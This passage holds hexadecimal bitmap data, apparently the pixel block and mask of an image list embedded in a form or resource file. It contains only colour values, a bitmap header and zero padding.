22FF880B14FF2E9EBDFF07D7FFFF0CD1FFFF0CD1FFFF0CD8FFFF0C8AFEFF0C0D\n      FEFF0B17FEFF0A16FEFF0814FFFF494F9EFF2C2C2CFF161616FF181818FF1919\n      19FF191919FF181818FF181818FF181717FF181818FF181616FF181211FF1919\n      19FF191919FF171717FF151515FF4E4E4EFF734637FF8F432CFF8E432CFF8E44\n      2DFF8F452CFF8F452EFF8F452EFF8F452EFF8F452EFF8F452EFF8F452EFF8F45\n      2DFF8C422BFF8E432CFF91422BFF785D55FF602523FF6F0C05FF700D02FF6C08\n      01FF56062EFF3B0360FF391B9CFF6864E0FFA7A7F3FFFBF4FFFFE8FFFDFF99D8\n      E2FFA1CED8FFFFFFFFFFFFFFFFFF9E9E9EFF6A282FFF81101EFF821220FF8112\n      22FF8A0613FF2F9BBDFF0BD6FFFF0ED3FFFF0ED3FFFF0FD7FFFF0F87FDFF0F08\n      FEFF0E12FEFF0C12FEFF0A10FFFF494D9EFF282828FF111111FF131313FF1313\n      13FF151515FF140D0CFF130B09FF151D1EFF130704FF152427FF186672FF140F\n      0DFF141414FF111111FF101010FF4B4B4BFF724638FF8D422CFF8C442FFF8D45\n      30FF8D4431FF8D4631FF8D4631FF8D4631FF8D4631FF8D4631FF8C4631FF8439\n      26FF94513AFF823722FF8B412AFF755C55FF502036FF38005DFF37169CFF6662\n      DFFFA7A7F3FFE9ECFFFFFFFFFFFFFFFFFFFFFFFFFFFF52ACC6FF64B1CBFF2888\n      A6FF6AB1C4FF66AEC7FFFFFFFFFF9E9E9EFF6B262FFF840B1CFF830F1FFF840F\n      21FF8B0412FF319ABEFF0CDFFFFF14A3DBFF14A8E1FF0FE1FFFF1187FEFF0F05\n      FEFF1010FEFF0E0DFEFF0B0AFFFF494A9EFF252525FF0B0B0BFF0F0F0FFF0F0F\n      0FFF0E0807FF17606EFF1DB2CCFF1B95A8FF1B8FA2FF186A76FF0F0200FF0F0F\n      0FFF101010FF0D0D0DFF0B0B0BFF4A4A4AFF704539FF89432DFF8A4430FF8B45\n      31FF8A4632FF8A4532FF8A4532FF8A4532FF8A4532FF8A4531FF803724FFD3AF\n      8FFFFFF8D1FFF4DCB8FF904831FF735B54FF8383B2FFEBEDFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFCFF8ED6F0FF57AFCCFF9FD2E2FF9CC8\n      DAFF5B97BAFFFFFFFFFFFFFFFFFF9E9E9EFF6B252FFF83091CFF820C1FFF840D\n      1FFF8C0312FF3296B9FF1560B6FF1869C5FF157BB7FF1861ADFF0F87FDFF1104\n      FEFF100DFEFF0E0BFEFF0B08FFFF49499EFF232323FF090909FF0C0C0CFF0D0D\n      0DFF0E0D0DFF0E0D0CFF112628FF1DA4BAFF122A2DFF1EB2CCFF0E0908FF0E0D\n      0DFF0D0D0DFF0B0B0BFF080808FF4A4A49FF70463AFF89422DFF884331FF8A44\n      32FF894531FF8B4733FF8A4632FF8B4733FF8B4733FF853F2BFFBF947BFFFFFB\n      DCFFFCEACCFFFFEFD1FFFAE4C7FF6E544EFFBEBFBBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA5CCD8FFD2DDE1FFFFFFFFFFF2EE\n      EFFF001C86FF7487A6FFFFFFFFFFA0A0A0FF6C242FFF890C20FF840D1FFF820E\n      20FF8C0414FF3397B7FF157DCBFF2388F8FF2375CEFF158FBCFF1187FFFF1104\n      FEFF100EFEFF0E0CFEFF0B09FFFF49499EFF212320FF090B00FF090B00FF0A0D\n      00FF0C0E01FF0B0300FF1FCCDFFF0B0000FF0A0000FF1A8894FF0E261DFF0C0B\n      00FF0B0D00FF090B00FF070800FF494948FF724A35FF8D4529FF894531FF8843\n      2FFF843C27FF873E23FF8A452AFF8A4632FF8B4733FF813822FFFEF4EFFFC2DB\n      FCFF90B9F3FFABC9F5FFFFFFFFFF7A6660FFBFBFBBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCFBFFE7E2DEFFDCD7D0FF0632\n      85FF093B95FF194394FFDEDBD3FF8F8F8FFF6D2530FF8A0E23FF8A1126FF8911\n      24FF8B0515FF3381A8FF1B4EB9FF226AC3FF2293FAFF1A6EC1FF1172EDFF1105\n      FFFF100EFEFF0E0CFEFF0B09FFFF49499EFF3D2FA9FF3922E9FF3A24E7FF3923\n      E5FF3520E3FF3519E2FF2E47DEFF2D68F2FF360DDFFF2A91F2FF3333E5FF341C\n      E3FF341EE3FF321CE4FF3019E9FF564F93FF472CB2FFA58DF4FF873D1EFF914E\n      33FFD9C1AEFFC5C0FFFF9577D4FF894225FF8B4733FF853A22FFB9C7E0FFDCEB\n      FBFF6DA1E8FFA7C5EEFF94C3FFFF806962FF7877B1FFDBDDFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF869AC3FF204691FF093C\n      9BFF093384FF355491FFEFEBE4FF939393FF6F2531FF8D0F27FF8B1229FF8D14\n      2BFF95081EFF36A8C6FF1B6ECEFF1B5EBAFF187CCEFF1885C5FF0F8DFFFF1003\n      FEFF0F0DFEFF0C0BFEFF0B09FFFF4A499EFF3C2F9EFF3922D7FF3B26D5FF3C28\n      D5FF3C28D5FF3921D1FF304FDCFF2898EAFF2F24D1FF24B9F1FF3116CFFF2F1C\n      D0FF2F1BD0FF2D19CEFF2E18D6FF564F8DFF4C2FA7FFAB8EE3FFDCC19DFFCAC0\n      FFFF9774D4FFA0685CFF8D4519FF894632FF894531FF823821FFE3E2E7FFD7E7\n      FDFF8EB7EFFF8FB8EEFFFFFFFFFF7B6661FF57202FFF4E0658FF3E1391FF6558\n      D9FF9E9CF4FFDADCFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF114196FF0235\n      87FF0A3A89FF002F77FFB2BDCEFFA5A4A2FF6F2632FF911028FF8F132CFF9016\n      2DFF970A20FF3BA0C0FF15E4FFFF1CCCF6FF1AC9F5FF17E2FFFF178AFEFF170A\n      FEFF1614FEFF1512FEFF110FFFFF4A499EFF3C2F9EFF3C26D8FF3E28D6FF3F2A\n      D6FF3F2BD6FF3F2BD6FF4022D4FF3C62E1FF31C1F4FF3B36D7FF3B25D2FF3B27\n      D3FF3C27D5FF3C26D5FF3E26DCFF564F8DFF4626A5FF6A39E8FF8965F1FF8961\n      E9FF8D69ECFF8D6AF7FF906DECFF975233FF94533FFF8A432DFFFBF8F7FFFFFC\n      F8FF91C4FFFFC6DBF5FFECFDFFFF7D6963FF632521FF811008FF801006FF7D0E\n      03FF6B0D28FF530D5CFF421893FF675BDAFF9D9EF4FFDADCFFFFFFFFFFFFDEE9\n      EBFF8CA7C4FF356099FF002D7DFFA5A2A0FF702533FF93102BFF91132DFF9215\n      2FFF990822FF3C9FC1FF16DBFFFF1AD6FFFF1AD6FFFF1ADCFFFF1A8CFDFF190A\n      FEFF1815FEFF1613FEFF120FFFFF49499EFF3D2F9EFF3F27D9FF4029D5FF412B\n      D7FF422CD7FF422CD7FF422CD7FF4226D5FF4320D4FF4229D6FF422CD7FF422C\n      D7FF412BD7FF4029D5FF3F26DCFF564F8DFF4828A5FF7342EBFF9977F3FF9A77\n      EDFF9571EBFF9673F5FF9979EBFF965434FF975743FF965543FF934F3CFF8C44\n      2FFFA4624AFF91482FFF934B32FF755F58FF632323FF7C0B0BFF7B0E0EFF7C10\n      10FF7D110EFF801009FF810E05FF7D0900FF6C0823FF520958FF431391FF6C5C\n      DBFFA9A3F8FFEDE9FFFFFFFFFFFFA1A19EFF6F2332FF950B28FF920E2BFF9210\n      2BFF9A041FFF3A9FC1FF0FDCFFFF14D6FFFF14D6FFFF14DDFFFF148AFEFF1406\n      FEFF1310FEFF110EFEFF0D0AFFFF48479CFF3C2F9EFF3F24DBFF3F27D7FF4027\n      D7FF4029D7FF4028D7FF4028D7FF412AD7FF412AD7FF4028D7FF4028D7FF4029\n      D7FF4028D7FF3F25D7FF4024DEFF554E8CFF4F2DA8FFB191E5FFA37186FFA88D\n      F9FFD1BFE4FFC2956BFF924A24FF995641FF995641FF995641FF995640FF9856\n      41FF965540FF96543FFF9A5741FF745C55FF692F2FFF913333FF8D3131FF8E33\n      33FF8E3333FF8E3333FF8E3333FF8E3333FF8F3330FF91322BFF923127FF902B\n      1FFF7B2B45FF642A72FF603499FF706B98FF762F3CFFA23349FFA03147FFA033\n      48FFA6283BFF56ADCCFF33E1FFFF36DCFFFF36DCFFFF36E2FFFF369BFFFF362A\n      FFFF3533FFFF3431FFFF3432FFFF5755ACFF4438A3FF5745DFFF5541DBFF5642\n      DBFF5642DBFF5643DBFF5643DBFF5643DBFF5643DBFF5643DBFF5643DBFF5642\n      DBFF5642DBFF5541DBFF5643DFFF605A9BFF5438ABFFB49AE5FF9E5F3FFFA76F\n      4EFFA173A0FFB3A0FBFFC6B1D5FF9D624BFFA06856FFA06856FFA06856FFA068\n      56FFA06756FFA16755FFA26957FF816861FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDCDCDCFFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C1C2FFC0C0C1FFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C1FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFFDCDCDCFFC2C1C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC3C3C3FFC0C0C0FFFFFFFFFF202021FF010306FF010306FF0104\n      08FF010300FF0103BCFF0103FFFF0103FFFF0103FFFF0100FFFF015B8DFF01C2\n      00FF01BA08FF01BA07FF01C105FF488249FF84562AFFB36110FFB16011FFB85B\n      07FF58A997FF1D8FFFFF4709D9FF00F6FFFFB45D0CFFB16011FFB06012FFB060\n      12FFB06111FFB16010FFB66310FF7D664EFF384CB8FF2C50FFFF2B4EFFFF2B4D\n      FFFF2C4FFFFF2C4FFFFF2C4FFFFF2C4FFFFF2C4FFFFF2C4FFFFF2C4FFFFF2C4D\n      FFFF2B4EFFFF2B4EFFFF2D52FFFF54619DFF529A72FF61DA97FF5ED594FF5FD4\n      95FF5FD495FF60D495FF60D495FF50CF8AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9FFF212124FF06080BFF080A0EFF0A0C\n      0FFF0A0C02FF0A0CA7FF0A0CE7FF0A0CE1FF0A0CE1FF0A04EAFF0A587CFF0AB4\n      05FF09AC0FFF08AB0DFF06B00AFF49814AFF865728FFAC5D10FFAA5D10FFB158\n      06FF57A392FF1E8AF8FF4708D0FF00EEFFFFAF590BFFAC5D11FFAB5E13FFAB5E\n      13FFAA5E12FFAA5D11FFAE5D10FF80664DFF3841AEFF2E3AEAFF2E3CE8FF2F3D\n      E8FF303DE8FF303CE8FF303CE8FF313DECFF303DE9FF303CE8FF303CE8FF2E3D\n      E8FF2F3BE8FF2E3AE8FF2D3BEDFF565B98FF508D58FF54B660FF56B260FF57B4\n      61FF57B461FF57B461FF57B460FF47AC51FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9F9F9FFF242426FF08090BFF0B0C0EFF0C0D\n      10FF0D0E04FF0D0E9CFF0B0CD8FF0708D1FF0708D1FF0C06DBFF0D5675FF0DAD\n      06FF0CA610FF0AA40EFF08A80AFF497D4AFF865625FFAC5B0EFFAA5C10FFB157\n      05FF57A390FF1E88F7FF4707CFFF00EEFFFFAF590AFFAA5B0FFFA95D10FFA95D\n      10FFAA5B11FFA85A10FFAD5C0DFF80664BFF3838A5FF2D2CE0FF2F2EDCFF312E\n      DCFF312EDDFF3130DDFF3230E4FF242AABFF2F2ED8FF3130DEFF3130DEFF312E\n      DCFF302FDCFF2F2CDCFF2E2BE3FF565592FF4B803FFF4CA338FF4DA239FF4EA1\n      3AFF4FA339FF4FA339FF52AA2EFF42A219FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF242425FF09090AFF0C0C0DFF0E0E\n      0FFF0D0F04FF0D0D93FF0D0CCBFF4F51D5FF4B4CD5FF0500CCFF0E536EFF0DA8\n      06FF0E9F0FFF0C9F0DFF09A30AFF497A4AFF8D4D20FFB74F00FFB54F00FFBE4C\n      00FF5C9D86FF1C89F7FF4606CEFF00EDFFFFB94E00FFB75100FFB65200FFB652\n      00FFB65100FFB55000FFB95000FF846147FF382F9EFF2D1FD7FF2E1FD2FF3122\n      D5FF2E22CCFF2F22CEFF2C21C0FF10132DFF1A1756FF3123DAFF2C20BEFF3122\n      D7FF3120D4FF2F20D2FF2D1EDAFF55508EFF45742BFF429216FF439017FF4491\n      1AFF459119FF499C0BFF223EA6FF0300F5FF5859F3FF9B9CF7FFF7F7FEFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF252525FF0A0A0AFF0D0D0DFF0D0D\n      0DFF0E0E03FF05048EFF8AA2E6FF8285DEFF868CDFFF7180E3FF054668FF0FA6\n      05FF0E9D0EFF0C9C0CFF09A009FF4A7A4AFF2C9DA9FF19D1E6FF1CCFE4FF1FCE\n      E1FF12DEF5FF218AF0FF4405CEFF05F1FFFF1FCDE2FF1ECEE3FF1ECEE3FF1ECE\n      E3FF1DCFE4FF1BCFE4FF19D2E9FF4F8D94FF392C9DFF2D18D3FF301BD0FF311C\n      D3FF2C1BB4FF25178DFF20156AFF1B1550FF1F1569FF251886FF231783FF301E\n      CEFF311CD1FF2F1AD0FF2D18D6FF554E8CFF437023FF3F8C08FF3F8A0BFF408C\n      0DFF449301FF233F95FF0F0CF1FF348B00FFFFFFFFFFFFFFFFFFF6F6FEFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF262626FF0C0C0CFF0D0D0DFF0E0E\n      0EFF0C0B03FF37419AFF6975DEFF6F86D9FF3A4BCBFF8B98E8FF1D646EFF0DA3\n      05FF0E9D0EFF0C9E0CFF09A009FF4A7A4AFF3B43A8FF3440E4FF323EE1FF323E\n      DFFF3341DDFF392FD9FF3F16D3FF3442DCFF3240DFFF3240DFFF3240DFFF323F\n      DFFF333FDFFF303CDFFF2E3CE6FF555B94FF3A2C9DFF331DD4FF311CD0FF311E\n      D5FF281AA0FF1E1462FF1F166DFF0E0E0CFF120F1BFF231882FF1C1454FF311E\n      D0FF311DD1FF2F1BD1FF2D18D6FF564E8DFF457225FF44900CFF418C0DFF418C\n      0EFF479900FF0B04FFFF2F5B64FF3C9100FF9491FFFF2F2EF0FFEDEDFDFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF252525FF0E0E0EFF111111FF1111\n      11FF0D0C03FF1B2492FF6273DCFF8993E1FF676FD7FF6979E1FF11566BFF0DA5\n      05FF0E9D0EFF0C9E0CFF09A009FF4A7A4AFF3A4BA9FF324DE8FF354FE6FF334E\n      E4FF314BE1FF3735DAFF3F15D2FF314DDFFF2F4BE3FF2F4BE3FF2F4BE3FF2F4B\n      E3FF2E4AE3FF2D49E3FF2B47EAFF555F94FF3A2E9DFF3620D5FF3723D3FF3622\n      D5FF2D1CB6FF1B155CFF0D0E00FF0F100EFF0F0F0DFF0D0E07FF221880FF311E\n      CFFF311DD1FF2F1BD1FF2C18D6FF564E8DFF457224FF47940EFF489211FF4791\n      11FF479900FF0904FFFF2D5967FF3C9100FF9895FFFF3636F1FFF5F5FDFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF252525FF0F0F0FFF121212FF1414\n      14FF151509FF0E0C92FF3D47D5FF4C49D0FF4747D0FF3B3DD5FF0A4C69FF0EA5\n      04FF0D9C0DFF0B9B0BFF0AA10AFF497A49FF3499A1FF2ACFDBFF2BCDD7FF2FCB\n      D5FF1EDEEFFF278FF1FF4809CEFF04F0FFFF28C4D3FF27C6D5FF27C7D6FF27C5\n      D6FF25C5D6FF24C6D5FF23CBDBFF518B91FF3C2F9EFF3922D7FF3B26D5FF3D28\n      DAFF31239BFF231B5CFF0E1003FF0D0E0AFF0D0E07FF0D0E05FF1E1568FF2D1C\n      C2FF301BD2FF2D19CEFF2E18D6FF554F8DFF457224FF4B950FFF4C9512FF4D95\n      14FF519D09FF2B4A93FF0E0BF6FF338900FFFFFFFFFFFFFFFEFFF4F4FEFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF262626FF101010FF131313FF1616\n      16FF17170BFF171797FF1211CDFF2121CCFF1515C7FF1009CFFF155970FF15AD\n      0CFF14A614FF12A612FF10AC10FF4A7A4AFF8E5220FFC06000FFBC5E01FFC55B\n      00FF63A78BFF2890F9FF5612D4FF04F1FFFFC25D00FFBC5D01FFBB5C03FFBB5C\n      03FFBC5D02FFBC5D00FFC36000FF846247FF3C2F9EFF3C26D8FF3E28D6FF3F2A\n      D9FF3827B2FF231D50FF282067FF201B3FFF281F6DFF1A1726FF271E71FF3A26\n      CEFF3C27D6FF3C26D5FF3E26DCFF564F8DFF467325FF4E9910FF4F9713FF5098\n      16FF519816FF56A107FF2F4B9AFF0D0BF9FF5B5BF5FF9F9EF7FFF9F9FEFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF242424FF101010FF131313FF1515\n      15FF17170BFF171798FF1717CFFF1515C9FF1717CAFF1710D2FF175E74FF16B1\n      0DFF15AA15FF13A913FF0FAD0FFF497A49FF875825FFB66A10FFB36A13FFBA65\n      09FF5FAB94FF2991F8FF5714D5FF03F1FFFFB9670FFFB46A15FFB46B17FFB46B\n      16FFB36B15FFB36913FFB96B0FFF806649FF3D2F9EFF3F27D9FF4029D5FF412B\n      DBFF3625A2FF432DDFFF271E5EFF3B28B6FF2C2177FF332594FF3D29C1FF3E2A\n      C0FF412BD8FF4029D5FF3F26DCFF564F8DFF477424FF529B10FF529913FF539A\n      15FF539A17FF539A16FF56A00BFF479B00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF222222FF0B0B0BFF0E0E0EFF1010\n      10FF111105FF111198FF1111D1FF1111CBFF1111CBFF1109D4FF115B71FF11B2\n      08FF10AB10FF0EAA0EFF0AAF0AFF487948FF885823FFB76B0BFFB5690EFFBD65\n      04FF5CAC91FF2491F9FF5710D5FF00F3FFFFBA670BFFB56A0FFFB56A11FFB56A\n      11FFB56A10FFB5690EFFBA6D0AFF7E6447FF3C2F9EFF3F24DBFF3F27D7FF4027\n      D7FF4129DBFF4029D8FF4229E0FF422ADBFF432ADFFF4229DDFF4029DAFF4029\n      D8FF4028D7FF3F25D7FF4024DEFF554E8CFF467322FF529C0BFF519B0EFF529A\n      10FF529C11FF529C11FF529C11FF439100FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9B9B9BFF2F2F2FFF323232FF303030FF3131\n      31FF323227FF3232A5FF3232D7FF3232D1FF3232D1FF322CD9FF327085FF32BA\n      2AFF31B431FF30B330FF30B630FF558955FF8E5E2FFFC18233FFBE7D31FFC578\n      29FF73B7A4FF439EFCFF6C2FDCFF21F7FFFFC4792DFFBF7C32FFBE7D33FFBE7D\n      33FFBE7D33FFBE7B31FFC08132FF8E7155FF4438A2FF5845DFFF5641DDFF5542\n      DDFF5743DDFF5743DDFF5743DDFF5743DDFF5743DDFF5743DDFF5743DDFF5742\n      DDFF5642DDFF5541DDFF5643E1FF615B9AFF4F792FFF67A832FF64A430FF65A5\n      31FF65A531FF65A531FF65A531FF559B1DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF424D3E000000000000003E000000\n      2800000040000000000400000100010000000000002000000000000000000000\n      000000000000000000000000FFFFFF0000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      